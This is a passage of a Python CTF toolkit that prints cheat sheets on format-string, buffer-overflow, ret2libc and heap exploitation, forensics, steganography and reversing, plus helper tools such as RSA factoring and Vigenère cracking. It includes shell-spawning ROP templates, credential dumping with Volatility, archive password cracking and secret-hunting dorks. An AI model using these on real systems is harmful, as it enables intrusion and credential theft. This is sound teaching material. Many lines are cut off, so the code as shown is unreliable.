    Confirm: AAAA%N$x → should print 41414141

{C.YELLOW}READ STACK / MEMORY{C.RESET}
    %p %p %p            → dump stack as pointers
    %7$p                → read 7th argument directly
    [addr]%N$s          → read string at that address

{C.YELLOW}WRITE MEMORY (%n writes byte count to pointer){C.RESET}
    [addr]%N$n          → write 4 bytes
    [addr]%N$hn          → write 2 bytes
    [addr]%N$hhn         → write 1 byte

{C.YELLOW}PWNTTOOLS HELPER{C.RESET}
    from pwn import *
    payload = fmtstr_payload(offset, {{target_addr: value}})
""")

def shellcode_info():
    print(f"""
{C.BOLD} | _____ |
|          SHELLCODE / PWN REFERENCE          |
|_____| {C.RESET}

{C.YELLOW}PWNTTOOLS SETUP{C.RESET}
    from pwn import *
    p    = process('./binary')          # local
    p    = remote('host', port)         # remote CTF
    e    = ELF('./binary')
    libc = ELF('libc.so.6')

{C.YELLOW}BUFFER OVERFLOW TEMPLATE{C.RESET}
    offset = 64                        # from cyclic pattern
    ret_addr = p64(0xdeadbeef)         # little-endian packed
    payload = b'A' * offset + ret_addr
    p.sendline(payload)

```

```

{C.YELLOW}PROTECTIONS CHECKLIST{C.RESET}
    checksec --file=./binary
    NX      → no shellcode on stack      → need ROP
    PIE     → ASLR on binary              → need leak first
    RELRO   → GOT protection level
    Canary → stack cookie                → need leak or bypass

{C.YELLOW}x86-64 CALLING CONVENTION{C.RESET}
    Args: RDI, RSI, RDX, RCX, R8, R9, then stack
    system('/bin/sh') needs RDI = ptr to '/bin/sh'
    Gadget needed: pop rdi; ret

{C.YELLOW}ONE_GADGET{C.RESET}
    one_gadget libc.so.6                → instant shell gadgets in libc
    """)

# =====
# PWN — NEW ADDITIONS
# =====

def ret2libc_reference():
    print(f"""
{C.BOLD}┌──────────────────────────────────────────────────────────────────────────────────┐
│                                RET2LIBC / ROP CHAIN REFERENCE                                │
└──────────────────────────────────────────────────────────────────────────────────┘ {C.RESET}
{C.YELLOW}CONCEPT{C.RESET}
    NX blocks shellcode on stack.
    Solution: chain ROP gadgets to call system("/bin/sh").
    Libc is always mapped — its functions are reachable via leaks.

{C.YELLOW}STEP BY STEP{C.RESET}
    1. Find overflow offset (cyclic pattern tool above)
    2. Leak a libc address (call puts(puts@GOT))
    3. libc_base = leaked_addr - libc.symbols['puts']
    4. system = libc_base + libc.symbols['system']
    5. bin_sh = libc_base + next(libc.search(b'/bin/sh'))
    6. ROP chain: [pad] [pop rdi;ret] [bin_sh] [ret] [system]

{C.YELLOW}PWNTOOLS TEMPLATE{C.RESET}
    from pwn import *
    e = ELF('./binary'); libc = ELF('libc.so.6')
    rop = ROP(e)
    rop.puts(e.got['puts']); rop.call(e.symbols['main'])
    p.sendline(flat({offset: rop.chain()})))

    leaked = u64(p.recvline().strip().ljust(8, b'\\x00'))

```

```

libc.address = leaked - libc.symbols['puts']

rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh')))
p.sendline(flat({offset: rop2.chain()}))
p.interactive()

{C.YELLOW}IDENTIFY LIBC VERSION (from leaks){C.RESET}
    https://libc.blukat.me    or    https://libc.rip
    Paste leaked symbol values → get libc version + offsets
"""

def heap_reference():
    print(f"""
{C.BOLD}┌───────────────────────────────────────────────────────────────────────────────────┐
|                               HEAP EXPLOITATION REFERENCE                               |
└───────────────────────────────────────────────────────────────────────────────────┘{C.RESET}
{C.YELLOW}KEY CONCEPTS{C.RESET}
    malloc(n) → allocates a chunk    free(p) → frees it into a bin
    Bins: tcache (fast, glibc≥2.26), fastbin, smallbin, unsortedbin

{C.YELLOW}COMMON VULNERABILITIES{C.RESET}
    Use-after-free (UAF) → access pointer after free()
    Double free          → free() same chunk twice
    Heap overflow        → overwrite adjacent chunk metadata
    Off-by-one           → write 1 extra byte past boundary

{C.YELLOW}TCACHE POISONING (glibc ≥ 2.26){C.RESET}
    1. Double-free a chunk
    2. Overwrite fd pointer with target address
    3. Two more mallocs → second returns target address
    4. Write shellcode / one_gadget there

{C.YELLOW}LIBC LEAK VIA UNSORTED BIN{C.RESET}
    Free a large chunk (≥ 0x408). Its fd/bk → main_arena (in libc).
    Read fd → compute libc base.

{C.YELLOW}PWND BG HEAP COMMANDS{C.RESET}
    heap          → show all chunks
    bins          → show bin contents
    vis_heap_chunks → visual layout
    malloc_chunk addr → inspect one chunk

{C.YELLOW}RESOURCES{C.RESET}
    github.com/shellphish/how2heap    → exploit examples
    heap-exploitation.dhavalakapil.com

```

```
""")
```

```
# =====  
#  FORENSICS - ORIGINAL (colored)  
# =====
```

```
MAGIC_BYTES = {  
    b"\x89PNG\r\n\x1a\n": "PNG image", b"\xff\xd8\xff": "JPEG image",  
    b"GIF87a": "GIF87",    b"GIF89a": "GIF89",    b"BM": "BMP image",  
    b"PK\x03\x04": "ZIP / DOCX / JAR",    b"Rar!": "RAR archive",  
    b"\x1f\x8b": "GZIP",    b"7z\xbc\xaf\x1c": "7-Zip",  
    b"\xfd7zXZ\x00": "XZ", b"BZh": "BZIP2",    b"\x7fELF": "ELF binary",  
    b"MZ": "PE / .exe",    b"OggS": "OGG audio",    b"ID3": "MP3",  
    b"fLaC": "FLAC",    b"RIFF": "WAV/AVI",    b"%PDF": "PDF",  
    b"SQLite format 3": "SQLite database",  
}
```

```
def file_magic():  
    """Magic bytes reveal a file's true type - regardless of extension."""  
    filepath = input(" Enter file path: ").strip()  
    if not os.path.exists(filepath):  
        return err(f"File not found: {filepath}")  
    with open(filepath, "rb") as fh:  
        header = fh.read(32)  
    res("File",    filepath)  
    res("Size",    f"{os.path.getsize(filepath):,} bytes")  
    res("Header",  header.hex())  
    res("ASCII",  repr(header[:16]))  
    matched = False  
    for magic, name in MAGIC_BYTES.items():  
        if header.startswith(magic):  
            ok(f"Type: {name}"); matched = True; break  
    if not matched:  
        info("Unknown type - check en.wikipedia.org/wiki/List\_of\_file\_signatures")  
        tip("If extension != magic bytes, rename the file or carve it with binwalk")
```

```
def strings_extractor():  
    """Extract printable strings from any file - like running `strings` on Linux.  
    filepath = input(" Enter file path: ").strip()  
    if not os.path.exists(filepath):  
        return err(f"File not found: {filepath}")  
    min_len = input(" Minimum length [default 4]: ").strip()  
    min_len = int(min_len) if min_len.isdigit() else 4  
    filter_kw = input(" Filter keyword (blank = all): ").strip().lower()  
    with open(filepath, "rb") as fh:
```



```

        data = fh.read()
printable = set(string.printable.encode())
results, current = [], []
for byte in data:
    if byte in printable: current.append(chr(byte))
    else:
        if len(current) >= min_len: results.append("".join(current))
        current = []
if len(current) >= min_len: results.append("".join(current))
filtered = [s for s in results if not filter_kw or filter_kw in s.lower()]
print(f"\n {C.BOLD}Found {len(filtered)} strings (of {len(results)} total):{
for s in filtered[:200]:
    print(f" {s}")
if len(filtered) > 200:
    info(f"... {len(filtered)-200} more truncated")
save_prompt("\n".join(filtered))

def steganography_hints():
    print(f"""
{C.BOLD}┌───────────────────────────────────────────────────────────────────────────────────┐
|                                STEGANOGRAPHY CHECKLIST                                |
└───────────────────────────────────────────────────────────────────────────────────┘{C.RESET}

{C.YELLOW}IMAGE{C.RESET}
strings image.png          → embedded text
xxd image.png | tail       → data after EOF marker
steghide extract -sf image.jpg → try empty password first
stegseek image.jpg rockyou.txt → fast steghide cracker
zsteg image.png           → LSB steg (PNG/BMP)
stegsolve.jar             → bit plane / LSB viewer
exiftool image.jpg        → EXIF metadata / GPS / comments
binwalk -e image.png      → extract embedded files

{C.YELLOW}AUDIO{C.RESET}
Audacity → View → Spectrogram → image hidden in spectrum
sonic-visualiser → detailed spectrogram
strings audio.wav → text in WAV data

{C.YELLOW}TEXT{C.RESET}
cat -A file.txt → trailing spaces
Zero-width chars (U+200B etc.) → copy to hex editor to see
First letters of each line → acrostic message

{C.YELLOW}LSB PYTHON SNIPPET{C.RESET}
from PIL import Image
img = Image.open("image.png")
bits = [px[0] & 1 for px in img.getdata()] # red channel LSB

```

```

        # Group into bytes and decode
    """)

```

```

# =====
#  FORENSICS — NEW ADDITIONS
#  =====

```

```

def png_chunk_inspector():
    """
    List all PNG chunks. Hidden data often lives in tEXt/zTXt chunks
    or appended after the IEND marker.
    """
    filepath = input("  Enter PNG file path: ").strip()
    if not os.path.exists(filepath):
        return err(f"File not found: {filepath}")
    with open(filepath, "rb") as fh:
        if fh.read(8) != b"\x89PNG\r\n\x1a\n":
            return err("Not a valid PNG file")
        print(f"\n  {C.BOLD}{'Chunk':<8} {'Length':>8}  Preview{C.RESET}")
        print(f"    {'-'*55}")
        while True:
            lb = fh.read(4)
            if len(lb) < 4: break
            length = struct.unpack(">I", lb)[0]
            ctype = fh.read(4).decode("ascii", errors="replace")
            data = fh.read(length)
            fh.read(4) # skip CRC
            try: preview = data[:50].decode("utf-8", errors="replace")
            except: preview = data[:20].hex()
            color = C.YELLOW if ctype in ("tEXt", "zTXt", "iTXt", "eXIf") else C.RES
            print(f"    {color}{ctype:<8}{C.RESET} {length:>8}  {preview}")
            if ctype == "IEND":
                trailing = fh.read()
                if trailing:
                    ok(f"Data found AFTER IEND marker! ({len(trailing)} bytes)")
                    res("Hex", trailing[:32].hex())
                    res("ASCII", repr(trailing[:32]))
                break

```

```

def pcap_reference():
    print(f"""
    {C.BOLD}┌──────────────────────────────────────────────────────────────────────────────────┐
    │                PCAP / NETWORK FORENSICS REFERENCE                │
    └──────────────────────────────────────────────────────────────────────────────────┘ {C.RESET}

    {C.YELLOW}TSHARK (CLI) {C.RESET}
    """

```

```
tshark -r file.pcap → list all packets
tshark -r file.pcap -Y "http.request" → HTTP requests only
tshark -r file.pcap -Y 'http contains "flag"' -T text
tshark -r file.pcap -Y "ftp" -T fields -e ftp.request.arg

{C.YELLOW}EXTRACT FILES{C.RESET}
Wireshark → File → Export Objects → HTTP / FTP / TFTP
binwalk -e file.pcap
NetworkMiner (Windows) - GUI extraction

{C.YELLOW}COMMON WIRESHARK FILTERS{C.RESET}
http → all HTTP
tcp.port == 4444 → specific port
ip.addr == 10.0.0.1 → specific host
ftp || ftp-data → FTP traffic
dns → DNS queries
Follow → TCP Stream → right-click any packet

{C.YELLOW}CREDENTIAL HUNTING{C.RESET}
HTTP Basic Auth → base64 in Authorization header
FTP / Telnet → plaintext username + password in packets

{C.YELLOW}USB HID KEYSTROKES{C.RESET}
tshark -r usb.pcap -T fields -e usb.capdata
Map HID codes to keys (USB HID Usage Tables)
Script: github.com/TeamRocketIst/ctf-usb-keyboard-parser
""")

def volatility_reference():
    print(f"""
{C.BOLD} | _____ |
| MEMORY FORENSICS - VOLATILITY 3 |
| _____ | {C.RESET}

{C.YELLOW}SETUP{C.RESET}
pip install volatility3
vol -f memory.dmp [plugin]

{C.YELLOW}OS IDENTIFICATION{C.RESET}
vol -f mem.dmp windows.info → Windows details
vol -f mem.dmp linux.info → Linux details

{C.YELLOW}PROCESS ANALYSIS{C.RESET}
vol -f mem.dmp windows.pslist → running processes
vol -f mem.dmp windows.pstree → process tree
vol -f mem.dmp windows.psscan → find hidden processes
vol -f mem.dmp windows.cmdline → command line per process
    """)
```

```

{C.YELLOW}NETWORK{C.RESET}
    vol -f mem.dmp windows.netstat → active connections

{C.YELLOW}FILES & REGISTRY{C.RESET}
    vol -f mem.dmp windows.filescan → file objects in memory
    vol -f mem.dmp windows.dumpfiles --physaddr ADDR → dump a file
    vol -f mem.dmp windows.registry.hivelist

{C.YELLOW}CREDENTIALS{C.RESET}
    vol -f mem.dmp windows.hashdump → NTLM hashes from SAM
    vol -f mem.dmp windows.lsadump → LSA secrets

{C.YELLOW}MALWARE{C.RESET}
    vol -f mem.dmp windows.malfind → injected code regions

{C.YELLOW}DUMP + SEARCH{C.RESET}
    vol -f mem.dmp windows.memmap --pid N --dump
    strings pid.N.dmp | grep -i flag
""")

def archive_analysis():
    print(f"""
{C.BOLD}| _____ |
|          ARCHIVE / ZIP FORENSICS REFERENCE          |
| _____ |{C.RESET}

{C.YELLOW}INSPECTION{C.RESET}
    unzip -l archive.zip          → list contents
    zipinfo -v archive.zip        → metadata + comments
    7z l -slt archive.zip         → full detail listing
    binwalk archive.zip           → embedded files inside

{C.YELLOW}PASSWORD CRACKING{C.RESET}
    zip2john archive.zip > hash.txt
    john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

    hashcat -m 17200 hash.txt rockyou.txt → PKZIP
    hashcat -m 13600 hash.txt rockyou.txt → WinZip AES-256
    fcrackzip -u -D -p rockyou.txt archive.zip

{C.YELLOW}RAR / 7Z{C.RESET}
    rar2john archive.rar > hash.txt
    7z2john archive.7z > hash.txt
    john hash.txt --wordlist=rockyou.txt

{C.YELLOW}REPAIR CORRUPTED ZIP{C.RESET}

```

```

zip -FF corrupt.zip --out fixed.zip
Check magic bytes: should start with PK\\x03\\x04

{C.YELLOW}HIDDEN / COMMENT FIELDS{C.RESET}
    zipinfo -v archive.zip          → look for comment field
    7z e archive.zip -o./out/       → extract everything including hidden
""")

# =====
#  REVERSE ENGINEERING – ORIGINAL (colored)
#  =====

def reverse_engineering_ref():
    print(f"""
{C.BOLD} | _____ |
|          REVERSE ENGINEERING REFERENCE          |
| _____ | {C.RESET}

{C.YELLOW}STATIC ANALYSIS{C.RESET}
    file binary          → type, arch, stripped?
    strings binary       → readable strings
    objdump -d binary    → disassembly
    nm binary            → symbol table
    readelf -a binary    → ELF headers + sections
    ltrace ./binary      → library calls
    strace ./binary      → system calls
    upx -d binary        → unpack UPX-packed binary

{C.YELLOW}TOOLS{C.RESET}
    Ghidra                → free NSA decompiler (primary tool)
    radare2 / Cutter      → CLI + GUI disassembler
    GDB + pwndbg          → dynamic analysis
    Binary Ninja          → modern decompiler

{C.YELLOW}GDB QUICK START{C.RESET}
    gdb ./binary
    break main            → set breakpoint
    run                   → execute
    ni / si               → next instruction / step into
    x/20x $rsp            → examine 20 hex words at stack
    info registers        → all registers
    disassemble main      → disassemble function
    set $eip = 0xaddr     → jump to address

{C.YELLOW}COMMON PATTERNS{C.RESET}
    strcmp/memcmp calls   → flag comparison (breakpoint here)
    XOR decode loop       → key is usually short (brute forceable)

```

```
Anti-debug: ptrace() → patch the JZ/JNZ instruction
""")
```

```
# =====
# REVERSE ENGINEERING — NEW ADDITIONS
# =====

def apk_reference():
    print(f"""
{C.BOLD}|_____|
|          ANDROID APK REVERSE ENGINEERING          |
|_____|{C.RESET}

{C.YELLOW}EXTRACT{C.RESET}
    unzip app.apk -d out/          → APK is a ZIP file
    apktool d app.apk -o out/      → resources + smali bytecode
    jadx -d out/ app.apk           → Java source (best for CTFs)
    jadx-gui app.apk               → GUI decompiler

{C.YELLOW}WHAT TO LOOK FOR{C.RESET}
    grep -r "flag" out/             → search decompiled source
    grep -r "password|secret|key|token" out/
    AndroidManifest.xml            → permissions, exported activities
    res/raw/ and assets/           → hidden files / encrypted data
    lib/*.so                       → native code → analyze in Ghidra

{C.YELLOW}COMMON CTF PATTERNS{C.RESET}
    Hardcoded flag in source or strings
    Flag XOR'd with key found in code
    Flag in SharedPreferences / SQLite DB
    SSL pinning (bypass with Frida)

{C.YELLOW}DYNAMIC ANALYSIS{C.RESET}
    frida -U -f com.example.app -l hook.js
    objection -g com.example.app explore
    adb logcat | grep -i flag
""")
```

```
def dotnet_java_reference():
    print(f"""
{C.BOLD}|_____|
|          .NET / JAVA / PYTHON RE REFERENCE          |
|_____|{C.RESET}

{C.YELLOW}JAVA (.class / .jar){C.RESET}
    jadx -d out/ App.jar           → decompile to Java source
    cfr --jar App.jar --outputdir out/
""")
```

```
javap -c App.class          → bytecode disassembly
grep -r "flag|secret" out/
```

```
{C.YELLOW}PYTHON (.pyc bytecode){C.RESET}
```

```
uncompyle6 file.pyc > file.py → decompile (Python 2/3)
```

```
decompile3 file.pyc
```

```
python3 -c "import dis,marshal; dis.dis(marshal.loads(open('f.pyc','rb').read
```

```
{C.YELLOW}.NET (EXE / DLL){C.RESET}
```

```
dnSpy          → decompile + debug .NET (Windows)
```

```
ILSpy          → cross-platform .NET decompiler
```

```
de4dot         → .NET deobfuscator
```

```
{C.YELLOW}GO / RUST{C.RESET}
```

```
Go:  strings binary | grep main.    → find function names
```

```
GoReSym tool    → recover stripped symbols
```

```
Rust: symbols usually present → Ghidra works directly
```

```
{C.YELLOW}GENERAL APPROACH{C.RESET}
```

```
1. Find the "Correct!" or "Wrong!" string → work backwards
```

```
2. Locate the comparison function (equals / strcmp / memcmp)
```

```
3. Set breakpoint there → inspect arguments at runtime
```

```
""")
```

```
# =====
#  MISC / OSINT - ORIGINAL (colored, flag_finder fixed)
#  =====
```

```
def morse_tool():
```

```
    MORSE = {
```

```
        "A": ".-","B": "-...","C": "-.-.","D": "-..","E": ".","F": "..-","G": "--.", "H"
```

```
        "K": "-.-","L": ".-..","M": "--","N": "-.", "O": "---","P": "-.-.", "Q": "--.-", "R"
```

```
        "U": ".-.", "V": "...-","W": "-.-","X": "-..-","Y": "-.-.", "Z": "--..",
```

```
        "0": "-----", "1": ".----", "2": "--...", "3": "...--", "4": "....-",
```

```
        "5": ".....", "6": "-....", "7": "--...", "8": "---..", "9": "----.", " ": "/" ,
```

```
    }
```

```
    REV = {v: k for k, v in MORSE.items() }
```

```
    action = input("  [1] Text→Morse  [2] Morse→Text : ").strip()
```

```
    text    = input("  Enter text: ").strip()
```

```
    if action == "1":
```

```
        result = " ".join(MORSE.get(c.upper(), "?") for c in text)
```

```
    elif action == "2":
```

```
        try:
```

```
            result = " ".join(
```

```
                "".join(REV.get(code, "?") for code in word.split())
```

```
                for word in text.split(" / ")
```

```

        )
    except Exception:
        return err("Invalid morse input")
else:
    return err("Invalid option")
res("Result", result); save_prompt(result)

def hash_tool():
    text = input(" Enter text to hash: ").strip()
    res("MD5",      hashlib.md5(text.encode()).hexdigest())
    res("SHA1",     hashlib.sha1(text.encode()).hexdigest())
    res("SHA256",   hashlib.sha256(text.encode()).hexdigest())
    res("SHA512",   hashlib.sha512(text.encode()).hexdigest())

def hash_identifier():
    h      = input(" Paste hash: ").strip()
    length = len(h)
    hmap    = {32:"MD5",40:"SHA1",56:"SHA224",64:"SHA256 or SHA3-256",96:"SHA384",
    is_hex  = all(c in "0123456789abcdefABCDEF" for c in h)
    res("Likely", hmap.get(length, f"Unknown (len={length})"))
    res("Chars",  "hex only" if is_hex else "non-hex (may be bcrypt/other)")
    if h.startswith("$2"): info("bcrypt → hashcat -m 3200")
    if h.startswith("$6$"): info("SHA-512 crypt → hashcat -m 1800")
    if h.startswith("$5$"): info("SHA-256 crypt → hashcat -m 7400")
    print(f"\n Hashcat modes: MD5=0  SHA1=100  SHA256=1400  SHA512=1700  bcrypt=

def base_converter():
    print(" Convert between any bases (2-36)")
    try:
        from_base = int(input(" From base: ").strip())
        to_base   = int(input(" To base   : ").strip())
        if not (2 <= from_base <= 36) or not (2 <= to_base <= 36):
            return err("Base must be between 2 and 36")
        number = input(f" Number (base {from_base}): ").strip().upper()
        decimal = int(number, from_base)
        digits  = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        result  = "0" if decimal == 0 else ""
        n = decimal
        while n > 0: result = digits[n % to_base] + result; n //= to_base
        res(f"Base {to_base}", result)
        res("Decimal",      str(decimal))
    except ValueError as e: err(f"Error: {e}")

```



```

def osint_reference():
    print(f"""
{C.BOLD} |-----|
|              OSINT QUICK REFERENCE              |
|-----| {C.RESET}

{C.YELLOW}DOMAIN / IP{C.RESET}

    whois domain.com          → registrant info
    dig domain.com ANY        → all DNS records
    https://dnsdumpster.com   → DNS enumeration
    https://shodan.io         → internet-facing devices
    https://crt.sh            → certificate transparency logs


{C.YELLOW}USERNAME / PERSON{C.RESET}

    https://whatsmyname.app    → username across 500+ platforms
    Google: "name" site:linkedin.com


{C.YELLOW}IMAGE{C.RESET}

    https://images.google.com  → reverse image search
    exiftool image.jpg         → GPS, timestamps, camera model


{C.YELLOW}GOOGLE DORKS{C.RESET}

    site:example.com           filetype:pdf
    inurl:admin                 intitle:"index of"
    "CTF{" site:pastebin.com    "password" filetype:env
    """)

def flag_finder():
    """Scan any file for common CTF flag patterns."""
    import re
    filepath = input(" Enter file path: ").strip()
    if not os.path.exists(filepath):
        return err(f"File not found: {filepath}")
    with open(filepath, "rb") as fh:
        data = fh.read()
    text = data.decode("latin-1")
    patterns = [
        r"flag\[^\]+\\"", r"FLAG\[^\]+\\"", r"CTF\[^\]+\\"",
        r"[A-Z]{2,8}\[^\]+\\"", r"picoCTF\[^\]+\\"",
        r"HTB\[^\]+\\"", r"THM\[^\]+\\"",
    ]
    found = set()
    for pat in patterns:
        found.update(re.findall(pat, text, re.IGNORECASE))
    if found:
        ok(f"Found {len(found)} potential flag(s):")
        for match in found: # fixed: loop var renamed to avoid shadowing

```

```

        print(f"  {C.GREEN}>>> {C.BOLD}{match}{C.RESET}")
    else:
        info("No obvious flags found")
        tip("Try strings extractor (21) with keyword 'flag' or '{}")

# =====
#  MISC — NEW ADDITIONS
# =====

# Tap code — 5x5 grid, C/K share same cell
_TAP_ROWS = [( "A", "B", "C", "D", "E"), ("F", "G", "H", "I", "J"),
              ("L", "M", "N", "O", "P"), ("Q", "R", "S", "T", "U"),
              ("V", "W", "X", "Y", "Z")]
TAP_ENC = {ch:(r+1,c+1) for r,row in enumerate(_TAP_ROWS) for c,ch in enumerate(row)}
TAP_ENC["K"] = TAP_ENC["C"]
TAP_DEC = {v:k for k,v in TAP_ENC.items() if k != "K"}

def tap_code_tool():
    """Tap code — 5x5 Polybius square using dot-counts. C and K share a cell."""
    action = input("  [1] Encode  [2] Decode : ").strip()
    text = input("  Enter text: ").strip().upper()
    if action == "1":
        parts = []
        for ch in text:
            if ch == "K": ch = "C"
            if ch in TAP_ENC:
                r, c = TAP_ENC[ch]
                parts.append(f"{'.'*r} {'.'*c}")
        result = " ".join(parts)
    elif action == "2":
        groups = [g.strip() for g in text.replace(" ", "\n").split("\n") if g.strip()]
        chars = []
        for g in groups:
            pts = g.split()
            if len(pts) == 2:
                chars.append(TAP_DEC.get((len(pts[0]), len(pts[1])), "?"))
        result = "".join(chars)
    else:
        return err("Invalid option")
    res("Result", result)
    tip("K and C share the same tap position")
    save_prompt(result)

NATO = {
    "A": "Alpha", "B": "Bravo", "C": "Charlie", "D": "Delta", "E": "Echo", "F": "Foxtrot",

```

```

"G":"Golf","H":"Hotel","I":"India","J":"Juliet","K":"Kilo","L":"Lima",
"M":"Mike","N":"November","O":"Oscar","P":"Papa","Q":"Quebec","R":"Romeo",
"S":"Sierra","T":"Tango","U":"Uniform","V":"Victor","W":"Whiskey",
"X":"X-ray","Y":"Yankee","Z":"Zulu",
}
NATO_REV = {v.upper(): k for k, v in NATO.items()}

def nato_tool():
    """NATO phonetic alphabet encoder/decoder."""
    action = input(" [1] Text→NATO [2] NATO→Text : ").strip()
    text = input(" Enter text: ").strip()
    if action == "1":
        result = " - ".join(NATO.get(c.upper(), c) for c in text if not c.isspace)
    elif action == "2":
        words = [w.strip().upper() for w in text.replace("-", " ").split()]
        result = "".join(NATO_REV.get(w, w[0] if len(w)==1 else "?") for w in words)
    else:
        return err("Invalid option")
    res("Result", result); save_prompt(result)

BRAILLE = {
    "A": "⠁", "B": "⠃", "C": "⠉", "D": "⠇", "E": "⠑", "F": "⠋", "G": "⠒", "H": "⠈", "I": "⠊", "J": "⠏",
    "K": "⠅", "L": "⠍", "M": "⠎", "N": "⠪", "O": "⠝", "P": "⠖", "Q": "⠞", "R": "⠗", "S": "⠚", "T": "⠘",
    "U": "⠥", "V": "⠦", "W": "⠧", "X": "⠨", "Y": "⠬", "Z": "⠭", " ": "⠆",
    "1": "⠼", "2": "⠢", "3": "⠠", "4": "⠡", "5": "⠤", "6": "⠣", "7": "⠠", "8": "⠤", "9": "⠢", "0": "⠠"
}

BRAILLE_REV = {v: k for k, v in BRAILLE.items()}

def braille_tool():
    """Braille encoder/decoder – Grade 1 (letter by letter)."""
    action = input(" [1] Text→Braille [2] Braille→Text : ").strip()
    text = input(" Enter text: ").strip()
    if action == "1":
        result = "".join(BRAILLE.get(c.upper(), c) for c in text)
    elif action == "2":
        result = "".join(BRAILLE_REV.get(c, c) for c in text)
    else:
        return err("Invalid option")
    res("Result", result)
    tip("Grade 1 only – no contractions")
    save_prompt(result)

def whitespace_stego():
    """
    Whitespace steganography – spaces=0, tabs=1, hidden as binary.

```

Also detects trailing spaces appended per line.

```
"""
print(f"\n {C.BOLD}Whitespace Steganography{C.RESET}")
print(" [1] Decode space/tab binary from file")
print(" [2] Show trailing whitespace per line")
action = input(" Option: ").strip()
filepath = input(" File path: ").strip()
if not os.path.exists(filepath):
    return err(f"File not found: {filepath}")
with open(filepath, "r", errors="replace") as fh:
    lines = fh.readlines()
if action == "1":
    bits = ""
    for line in lines:
        for ch in line.rstrip("\n"):
            if ch == " ": bits += "0"
            elif ch == "\t": bits += "1"
    chunks = [bits[i:i+8] for i in range(0, len(bits)-7, 8)]
    try:
        result = "".join(chr(int(b,2)) for b in chunks if int(b,2) > 0)
        res("Decoded", result); save_prompt(result)
    except Exception as e: err(f"Error: {e}")
elif action == "2":
    print(f"\n {C.BOLD}Lines with trailing whitespace:{C.RESET}")
    found = False
    for i, line in enumerate(lines, 1):
        stripped = line.rstrip("\n")
        trail = len(stripped) - len(stripped.rstrip())
        if trail > 0:
            bits = "".join("0" if c==" " else "1" for c in stripped[-trail:])
            print(f" Line {i:>4}: {trail} chars → {bits}")
            found = True
    if not found: info("No trailing whitespace found")
else:
    err("Invalid option")
```

```
# =====
# TOOL EXTENSIONS — fills prerequisite gaps
# =====
```

```
def rsa_factor():
    """
    RSA Factorization — find p and q from n.
    Without p and q you cannot compute phi(n) and therefore cannot find d.
```

Use Fermat's method when p and q are close together (common CTF mistake).

"""

```
print(f"\n {C.BOLD}RSA Factorization{C.RESET}")
```

```
print(" [1] Fermat's method      (fast when  $p \approx q$ )")
```

```
print(" [2] Trial division        (fast for small n or small factors)")
```

```
print(" [3] Online / tool hints (for large n)")
```

```
action = input(" Option: ").strip()
```

```
if action == "1":
```

```
    try:
```

```
        n = int(input(" n: ").strip())
```

```
        a = isqrt(n) + 1
```

```
        info("Running Fermat's method...")
```

```
        limit = 1_000_000
```

```
        for i in range(limit):
```

```
            b2 = a * a - n
```

```
            b = isqrt(b2)
```

```
            if b * b == b2:
```

```
                p, q = a - b, a + b
```

```
                res("p", str(p)); res("q", str(q))
```

```
                res("Verify p*q=n", str(p * q == n))
```

```
                tip("Now use option 11 → [1] to compute d from p, q, e")
```

```
                return
```

```
            a += 1
```

```
        err(f"No factor found in {limit} iterations – p and q are far apart,
```

```
except Exception as e:
```

```
    err(f"Error: {e}")
```

```
elif action == "2":
```

```
    try:
```

```
        n = int(input(" n: ").strip())
```

```
        info("Running trial division...")
```

```
        i = 2
```

```
        limit = 10_000_000
```

```
        while i * i <= n and i < limit:
```

```
            if n % i == 0:
```

```
                p, q = i, n // i
```

```
                res("p", str(p)); res("q", str(q))
```

```
                res("Verify p*q=n", str(p * q == n))
```

```
                tip("Now use option 11 → [1] to compute d from p, q, e")
```

```
                return
```

```
            i += 1 if i == 2 else 2
```

```
        err(f"No small factor found up to {limit:,} – n likely has large prim
```

```
except Exception as e:
```

```
    err(f"Error: {e}")
```

```
elif action == "3":
```

```

        print(f"""
{C.BOLD}Online factorization tools for large CTF n:{C.RESET}

{C.YELLOW}factordb.com{C.RESET}          → paste n, check if already factored
{C.YELLOW}RsaCtfTool{C.RESET}              → python3 RsaCtfTool.py --publickey pu
{C.YELLOW}msieve{C.RESET}                      → msieve -v n_value
{C.YELLOW}yafu{C.RESET}                        → yafu "factor(n)"
{C.YELLOW}SageMath{C.RESET}                  → factor(n)

{C.BOLD}Workflow:{C.RESET}
    1. Try factordb.com first – many CTF n values are already in the database
    2. Try RsaCtfTool --attack all (covers Wiener, Fermat, small e, etc.)
    3. If n < 512 bits: msieve or yafu can factor in minutes
    4. If n >= 1024 bits and properly generated: factoring is infeasible
        """)
    else:
        err("Invalid option")

def vigenere_key_recovery():
    """
    Vigenère key recovery – find the key WITHOUT knowing it.
    Step 1: Index of Coincidence (IoC) to find key length.
    Step 2: Frequency analysis on each column to recover each key letter.
    """
    print(f"\n {C.BOLD}Vigenère Key Recovery (Kasiski / IoC method){C.RESET}")
    ciphertext = input(" Enter ciphertext (letters only, case insensitive): ").strip()
    letters = [c for c in ciphertext if c.isalpha()]
    if len(letters) < 20:
        return err("Need at least 20 letters for reliable analysis")

    # — Step 1: IoC for each key length candidate —
    print(f"\n {C.BOLD}Step 1 – Index of Coincidence per key length:{C.RESET}")
    print(f" (English IoC ≈ 0.065 | Random ≈ 0.038 | Closer to 0.065 = better key length)")
    print(f" {'Key len':<10} {'Avg IoC':<12} {'Match?'}")
    print(f" {'-'*40}")
    best_len, best_ioc = 1, 0
    for klen in range(1, min(21, len(letters) // 2)):
        iocs = []
        for start in range(klen):
            col = letters[start::klen]
            n = len(col)
            if n < 2: continue
            freq = {}
            for c in col: freq[c] = freq.get(c, 0) + 1
            ioc = sum(v * (v-1) for v in freq.values()) / (n * (n-1))
            iocs.append(ioc)

```

```

    avg = sum(iocs) / len(iocs) if iocs else 0
    match = f"  {C.GREEN}← likely{C.RESET}" if avg > 0.055 else ""
    print(f"  {klen:<10} {avg:<12.4f}{match}")
    if avg > best_ioc: best_ioc, best_len = avg, klen

# — Step 2: recover key letters by frequency analysis —
try:
    klen = int(input(f"\n  Enter key length to use [{best_len}]: ").strip())
except ValueError:
    klen = best_len

print(f"\n  {C.BOLD}Step 2 – Key recovery (shift each column to match English
key = ""
for start in range(klen):
    col = letters[start::klen]
    freq = {}
    for c in col: freq[c] = freq.get(c, 0) + 1
    # Find shift that makes most frequent letter = E (shift 4)
    best_shift, best_score = 0, -1
    english = "ETAOINSHRDLCLUMWFGYPBVKJXQZ"
    for shift in range(26):
        score = 0
        for c, cnt in freq.items():
